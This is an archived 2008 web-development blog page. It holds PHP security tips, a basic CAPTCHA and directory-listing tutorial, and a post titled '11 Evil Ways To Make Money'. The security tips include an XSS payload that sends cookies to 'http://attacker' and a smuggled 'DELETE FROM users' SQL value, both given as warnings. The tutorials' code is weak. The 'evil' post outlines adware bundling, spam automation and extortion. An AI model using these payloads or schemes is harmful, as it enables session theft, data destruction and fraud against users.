visitor stats
up home page bottom

French German version Spanish version Italian version

Archive for January, 2008

PHP Security Guide (XSS, Injection, CSRF and more).

30 Jan, 2008  No Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Rob Miller wrote a really great article on PHP Security. He makes a lot of good points, and suggestions, with real world examples and scenarios. Definitely worth reading. The article covers: XSS, SQL Injection, CSRF, among an array of other possible vulnerable avenues in PHP programming. Check it out if you ever do any kind of PHP programming, and want to keep it safe.

Link: PHP Security Guide

302 Useful APIs.

22 Jan, 2008  No Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Google, Youtube, Amazon, del.icio.us, all the big names release APIs for development and interaction with their services. It can be daunting trying to break into the external API scripting arena of programming. Here is a very long list of 302 USeful APIs. Upon clicking on any of them, you will be taken to a page that lists all of the information about that individual API, along with a download link. Definitely worth checking out!

List:

Read the rest of this entry »

PHP - Directory Listing

22 Jan, 2008  1 Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Just thought I'd end the night with a simple script. This PHP script will list all file, directory, and sub directories, and will even make links out of them.

PLAIN TEXT
PHP:
  1. <p id="innersource" class="nowrap">
  2. <pre class="php">//define the path as relative
  3.  
  4. $path = "/home/yoursite/public_html/whatever";
  5.  
  6. //using the opendir function
  7.  
  8. $dir_handle = @<a href="http://www.php.net/opendir">opendir</a>($path) or <a href="http://www.php.net/die">die</a>("Unable to open $path");
  9.  
  10. <a href="http://www.php.net/echo">echo</a> "Directory Listing of $path&lt;br/&gt;";
  11.  
  12. //running the while loop
  13.  
  14. while ($file = <a href="http://www.php.net/readdir">readdir</a>($dir_handle))
  15.  
  16. {
  17.  
  18. //encode spaces
  19.  
  20. $file =  <a href="http://www.php.net/rawurlencode">rawurlencode</a>($file);
  21.  
  22. // convert the + (this is one result from the function rawurlencode) in %20
  23.  
  24. $url = <a href="http://www.php.net/str_replace">str_replace</a>('+' , '%20' , $file);
  25.  
  26. <a href="http://www.php.net/echo">echo</a> "&lt;a href='".$url."'&gt;".$url."&lt;/a&gt;&lt;br/&gt;";
  27.  
  28. }
  29.  
  30. //closing the directory
  31.  
  32. <a href="http://www.php.net/closedir">closedir</a>($dir_handle);</pre>

A Quick and Dirty CAPTCHA Using PHP and the GD Library.

22 Jan, 2008  No Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

If you're just starting to get into PHP you may be a bit confused about how the GD Library works, and how to implement that into things such a CAPTCHA. This is a very easy implementation of a captcha. This will help stop spammers, and spam bots from abusing your form, or spamming your server.

I won't however, prevent the abuse as noted in Jeff Atwoods post, it will however help.

So, let's say you have a public submission or contact form on your website, that looks somewhat like the following:

PLAIN TEXT
HTML:
  1. <form method="post"> Contact us:
  2. <textarea cols="30" rows="5" name="simple_contact"></textarea>
  3. <input value="Submit" type="submit" />
  4. </form>

We'll use a captcha to keep this form somewhat safe ().

Obviously you need a PHP engine enabled for your Web server to execute PHP scripts, and GD (PHP graphics library) to generate the image. The solution below is tested for Apache (Windows and Unix), IIS (Windows), PHP-4, PHP-5, GD and GD2.

1) Make a PHP script (separate file captcha.php) which will generate the image:

PLAIN TEXT
PHP:
  2. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  3. header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
  4. header("Cache-Control: no-store, no-cache, must-revalidate");
  5. header("Cache-Control: post-check=0, pre-check=0", false);
  6. header("Pragma: no-cache");
  7.  
  8. function _generateRandom($length=6)
  9. {
  10. $_rand_src = array(
  11. array(48,57) //digits
  12. , array(97,122) //lowercase chars
  13. //        , array(65,90) //uppercase chars
  14. );
  15. srand ((double) microtime() * 1000000);
  16. $random_string = "";
  17. for($i=0;$i&lt;$length;$i++){
  18. $i1=rand(0,sizeof($_rand_src)-1);
  19. $random_string .= chr(rand($_rand_src[$i1][0],$_rand_src[$i1][1]));
  20. }
  21. return $random_string;
  22. }
  23.  
  24. $im = @imagecreatefromjpeg("captcha.jpg");
  25. $rand = _generateRandom(3);
  26. $_SESSION['captcha'] = $rand;
  27. ImageString($im, 5, 2, 2, $rand[0]." ".$rand[1]." ".$rand[2]." ", ImageColorAllocate ($im, 0, 0, 0));
  28. $rand = _generateRandom(3);
  29. ImageString($im, 5, 2, 2, " ".$rand[0]." ".$rand[1]." ".$rand[2], ImageColorAllocate ($im, 255, 0, 0));
  30. Header ('Content-type: image/jpeg');
  31. imagejpeg($im,NULL,100);
  32. ImageDestroy($im);
  33. ?&gt;

2) Add the following line at the top of the page where you need to implement CAPTCHA:

PLAIN TEXT
PHP:

3) Add the following line to check whether the CAPTCHA string entered by the visitor is valid, before the line where you will proceed with a submitted message:

PLAIN TEXT
PHP:
  1. if($_SESSION["captcha"]==$_POST["captcha"])
  2. {
  3. //CAPTHCA is valid; proceed the message: save to database, send by e-mail ...
  4. }
  5. ?&gt;

4) Finaly add the CAPTCHA to the form:

PLAIN TEXT
PHP:
  1. <form method="post">
  2. <table bgcolor="#cccccc">
  3. <tr>
  4. <th>Contact us (Post new message):</th>
  5. </tr>
  6. <tr>
  7. <td><textarea cols="30" rows="5" name="message"></textarea></td>
  8. </tr>
  9. <tr>
  10. <td align="center">CAPTCHA:
  11.  
  12. (antispam code, 3 black symbols)
  13. <table>
  14. <tr>
  15. <td><img src="captcha.php" alt="captcha image" /></td>
  16. <td><input name="captcha" size="3" maxlength="3" type="text" /></td>
  17. </tr>
  18. </table>
  19. </td>
  20. </tr>
  21. <tr>
  22. <th align="center"><input value="Submit" type="submit" /></th>
  23. </tr>
  24. </table>
  25. </form> if(isset($_POST["captcha"]))
  26. if($_SESSION["captcha"]==$_POST["captcha"])
  27. {
  28. //CAPTHCA is valid; proceed the message: save to database, send by e-mail ...
  29. echo 'CAPTHCA is valid; proceed the message';
  30. }
  31. else
  32. {
  33. echo 'CAPTHCA is not valid; ignore submission';
  34. }
  35. ?&gt;

There you go! A quick, and dirty captcha for easy implementation. Of course there are much more secure and stronger methods to achieve this feature, but this is just the quick and dirty.

Hope this helped.

Get Insight Into Digg’s Bury System With Ajaxonomy’s Bury Recorder.

21 Jan, 2008  No Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

David Hurth over at Ajaxonomy have created a pretty cool little web application. Here are the specifics:

If you have been using the popular service Digg you know that it is very easy to submit a story and to see it start to gain traction just to be buried into the dark abyss. What I find particularly frustrating is that you don't know how many people buried the story and the reason for the bury. If you have seen Digg Spy you have noticed that the application does show buries, but you can't just track data for a particular story.

After much frustration Ajaxonomy is now releasing a Bury Recorder application. How the application works is you take the story's URL (This is the URL of the page that the "more" link on the Digg upcoming/popular pages takes you or the page that clicking on the story title takes from your profile i.e. http://digg.com/[story]) and put it into the application and once you click "Watch for Buries" the application will start recording any buries that the story receives. This will allow you to see if your story had 100 diggs and 5 buries before it was permanently buried, or if it was more like 100 diggs and 300 buries. The idea is that you would submit a story and then have the recorder capture any buries from the time that you start the application watching for buries. You'll want to note that in this Beta 1.0 release, so currently you have to leave your machine on and the application open in order to make sure that it continues to capture buries.

Definitely worth checking out, a small program full of ingenuity.I'm fast becoming a regular reader over at Ajaxonomy. I suggest any JS/AJAX programmers do the same.

Link: Get Insight Into Digg's Bury System With Ajaxonomy's Bury Recorder.

 

 

AJAX IDE Development.

19 Jan, 2008  1 Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

If you are defied by AJAX and want to have better experience, then you
may want to try AJAX Webshop because it features IDE and visualization
and allows beginners to develop Rich Web applications quickly. Let's
look at some of its features:

Based on standard component library it allows Ajax IDE in the pattern
of rapid application development (RAD)

Integrated development and management tools are available. Easy-to-use
visual Unified Modeling Language and visual IDE; complete component
and object-oriented development pattern

Rich Web component library

Troubleshooting IntelliSense support, code editing support, project
release and deployment support.

Java, PHP, C#, VB support

Compatible with IE, Firefox

Download: AJAX Workshop

Meta Keywords Tag 101: How To “Legally” Hide Words On Your Pages For Search Engines.

19 Jan, 2008  No Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

If there's anything I particularly hate when it comes to SEO, it's the meta keywords tag. I so wish it had never been invented. It's practically useless, yet people still obsess over it. In this article, I'll explain more about why you shouldn't worry about it except perhaps for misspellings, as well as which search engines support it.

The meta keywords tag is one of several of meta tags that you can insert into your web pages to provide search engines with information about your pages that isn't visible on the page itself. For example, my Meta Robots Tag 101: Blocking Spiders, Cached Pages & More article covers how you can use a different meta tag -- the meta robots tag -- to block pages from being indexed. Users don't see this information (unless they look at your source code), but search engines do.

I recently read an interesting article I think may help some people with SEO concerns out there for their major sites and / or blogs. The above is a quote from the article. Link is below:

Link:  Meta Keywords Tag 101: How To "Legally" Hide Words On Your Pages For Search Engines.

 

14 Security Tips For Developing With PHP and MySQL

19 Jan, 2008  1 Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.
1.

Do not trust user input

If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

PLAIN TEXT
PHP:
  1. $post_id = intval($_GET['post_id']);
  2. mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure

2. Validate user input on the server side

If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries

Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

PLAIN TEXT
PHP:
  1. function escape($values) {
  2. if(is_array($values)) {
  3. $values = array_map(array(&amp;$this, 'escape'), $values);
  4. } else {
  5. /* Quote if not integer */
  6. if ( !is_numeric($values) || $values{0} == '0' ) {
  7. $values = "'" .mysql_real_escape_string($values) . "'";
  8. }
  9. }
  10. return $values;
  11. }

Then you can use it like this:

PLAIN TEXT
PHP:
  1. $username = escape($_POST['username']);
  2. mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don't put integers in quotes

For example $id is suppose to be an integer:

PLAIN TEXT
PHP:
  1. $id = "0; DELETE FROM users";
  2. $id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
  3. mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output

This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

PLAIN TEXT
JAVASCRIPT:
  1. &lt;script&gt;alert('');&lt;/script&gt;

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

PLAIN TEXT
JAVASCRIPT:
  1. <script>document.location.replace(\'http://attacker/?c=\'+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');

6. When uploading files, validate the file mime type

If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

PLAIN TEXT
PHP:
  1. $valid_extensions = array('jpg', 'gif', 'png'); // ...
  2.  
  3. $file_name  = basename($_FILES['userfile']['name']);
  4. $_file_name = explode('.', $file_name);
  5. $ext        = $_file_name[ count($_file_name) - 1 ];
  6.  
  7. if( !in_array($ext, $valid_extensions) ) {
  8. /* This file is invalid */
  9. }

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date

If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions

If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database

If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP

.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

PLAIN TEXT
SQL:
  1. deny FROM ALL

11. Have register globals off or define your variables first

Register globals can be very dangerous, consider this bit of code:

PLAIN TEXT
PHP:
  1. if( user_logged_in() ) {
  2. $auth = true;
  3. }
  4.  
  5. if( $auth ) {
  6. /* Do some admin stuff */
  7. }

Now with register globals on an attacker can view this page like this and bypass your authentication:
http://yourwebsite.com/admin.php?auth=1

If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:

PLAIN TEXT
PHP:
  1. $auth = false;
  2. if( user_logged_in() ) {
  3. $auth = true;
  4. }
  5.  
  6. if( $auth ) {
  7. /* Do some admin stuff */
  8. }

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date

Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books

Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list

Feel free to reply to this post and add to this list, it will be helpful for everyone!

If you find this useful, please Digg   and / or comment please!

All The RSS Icons You’ll Ever Need

18 Jan, 2008  13 Comments  

1 Star5 Stars (+15 rating, 3 votes)
Loading ... Loading ...

This is a collection of free RSS icons from around the internet. This may help those of you who have been looking for some of those "2.0" RSS icons. They're all free of charge.

Toptut.com
free rss icons download

Ajaxpath.com
download free rss buttons

Nyssajbrown.net
download free rss icons

Bloggers-journey.com
free rss icons

Aaronovadia.com
download rss icon

Bittbox.com
free rss download

Lorinator.feminoise.com
free rss icon

Snap2objects.com
free rss icon

Carlnewton.deviantart.com
free rss download

Datamouse.deviantart.com
download rss icons

Webfruits.deviantart.com
download rss icons

Bati1975.deviantart.com
download rss icons

Blog.0tutor.com
download rss icons

Vecteezy.com
download rss icons

Aucklandseo.com
download rss icons

 

A good upcoming recourse as well: http://www.freeiconsdownload.com

11 Evil Ways To Make Money With Technology.

18 Jan, 2008  1 Comment  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Everyone loves money, but making it online isn’t all that easy if you have morals. If you don’t, this article will give you some great tips to make quick money online. Before I start I need to state that I don’t condone any of these methods, and they are used at your own risk. I don’t take responsibility for any damage you may do.

  1. Set up a Proxy Server

    Set up a web site that serves as a Proxy, so people can browse blocked sites at work, and kids can browse blocked sites at school. Kids want nothing more than to have access to all their favorite game and social networking sites, and many of them know about proxies. A common script is: CGI Proxy, it is great because it allows people to use sites that require a log in. Here is an auto installer for it. CGI Proxy Auto installer. You will need to have an ad, probably and Adsense block in the header, so ads are shown when people browse. The main drawback of this method is that if your proxy site does become popular it will probably be blocked by school Internet servers. So if you wanted to try this method out, I wouldn’t shell out any money on a domain name, or expensive hosting.

  2. Create a Screensaver with Embedded Adware

    Create a screen saver that bundles adware (Zangocash), so whenever someone installs the Screensaver, you make affiliate money. You need to upload your Screensaver to as many Screensaver sites as possible. For a full write up on the details of this method, read: Blue Hat SEO’s How To Make a $100 per Day

  3. Dodgy P2P Sports Links

    Set up a blogger account using an anonymous email account, then use it to share p2p links to live sporting events. I have seen people earn great money fast using it. It works particularly well for sharing live Cricket using the software Sopcast. The Indian Sub Continent love p2p links for cricket matches, particularly when there are big games involving India, Bangladesh, Pakistan or Sri Lanka. You can use Sopcast to embed a p2p media player showing the channel with the cricket on it, then surround it with lots of Adsense ads. I have never seen Google remove any of these blogs, nor have I heard of any Adsense account being suspended for doing this. Someone tried to sell a successful attempt using this technique on Sitepoint, and he showed his earnings for the period of the cricket world cup of $1200 US. So timing is key here!

  4. Online Poker

    I love poker, and playing online, I cashed out $800 for about 4 months of on and off play, which is more money than I have made through anything else online. The key to making money with online poker when you are starting out is to take advantage of the various signup offers and bonuses. The idea is that poker rooms will give you a cash incentive bonus, where if you play a certain amount of hands they will give you free cash. In their minds you are a beginner so you will probably make them more money in the process, but if you learn to play tight, and only play very good starting hands, and fold the rest you can clear good money with only an small amount of skill. As playing tight requires a lot of patience, once you get the hang of it you can speed things up by playing 3-4 tables at once. Do some research for free poker bonus’s, and you will find plenty of sites and forums with advice to get you started in the evil world of online gambling.

  5. A MySpace or Facebook Resource Site

    Levi from Internet Marketing Sucks has a great plan to make money by setting up a MySpace resource site. He even provides a script and instructions that will help you on your way. It’s not particularly evil, and rather crafty, but it makes the list anyway.

  6. Set Up a Private Torrent Site and Tracker

    Recent news about raids on the owner of oink’s house would suggest that this is a very risky business, especially if you live in a country that will police such activities. The torrent scene is massive, as such there is great money to be made by those that are crazy enough. The idea is to make it private, then set up a scheme where you have “donations” to pay for your server, and donators get extra upload credit. Also have lots of pay per click advertising and you will be away, making plenty of cash. But I would make sure your cash heap is large enough to fight a legal battle if you get caught.

  7. Search Engine Arbitrage

    Arbitrage is where you buy something for a certain value, with the intention of selling it on for a greater value. You can use search engine marketing to buy traffic from one network, Google Adwords, then send that traffic to a landing page that has advertising on it for another network, Yahoo. The idea is to create a landing page with very little actual content, and format it so that ads appear to be content. Then your unsuspecting visitor may click ads thinking it is content. You will need to test different networks and keywords, but you can make good money using this method. It is purely evil though as it fills the net with rubbish sites.

  8. Set Up A Network of Scraper Sites

    A scraper site is a web site that pulls content from other sources, for example you could have a site that pulls the top 10 stories from the rss feeds of digg, reddit, delicious. It’s probably a good idea to use keywords to narrow down your results to a certain topic. Then plant lots of advertising around the content, especially Adsense. As you don’t have any real content you are never likely to get many inbound links, so to rank, you will need to build up a network of sites, then link them to each other to help your sites rank in search engines. You could combine this method with 7 to create some seriously evil sites.

  9. Volunteer At a Directory Site Like DMOZ

    Then takes bribes to list certain sites. Or email people who are on the list and tell them that if they don’t pay you, you will boot them off the directory. People do this, believe me. Read about the DMOZ Shoemoney Extortion.

  10. Become a Spam Marketer

    Everybody hates spam, but some people obviously open it from time to time. Get creative with your subject lines, and spam away. It is illegal in some countries so be careful. Basically the idea is to find some pay per click advertising scheme that allows you to advertise via email, or include a link from the email that has advertising on it. You will want to find some tools to automate this process, but I’m not telling you where to find them. Another form of Spam that seems to be very popular is Wordpress spam. All you need to do is set up a landing page on a dodgy domain that sells dodgy pharmaceutical products or any form of ppc or ppa advertising and spam away, automating comment posting on blogs that link to your landing page. It’s surprising how many sites don’t block spam properly.

  11. Start Your Own Porn Site

    12. Starting your own porn site is not hard, if you're using unique, authentic content ;). Start one, a niche or category generally helps. Generate content quickly, and post often. Good site design, fair price, and you'll bring in cash quickly. Practically from doing nothing but burning calories at that!

    I know most of this stuff is pure evil, but people actually make good money using these techniques.

11 Flaws, And Thoughts On The Mac Book Air.

18 Jan, 2008  2 Comments  

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

So Apple have announce the Ma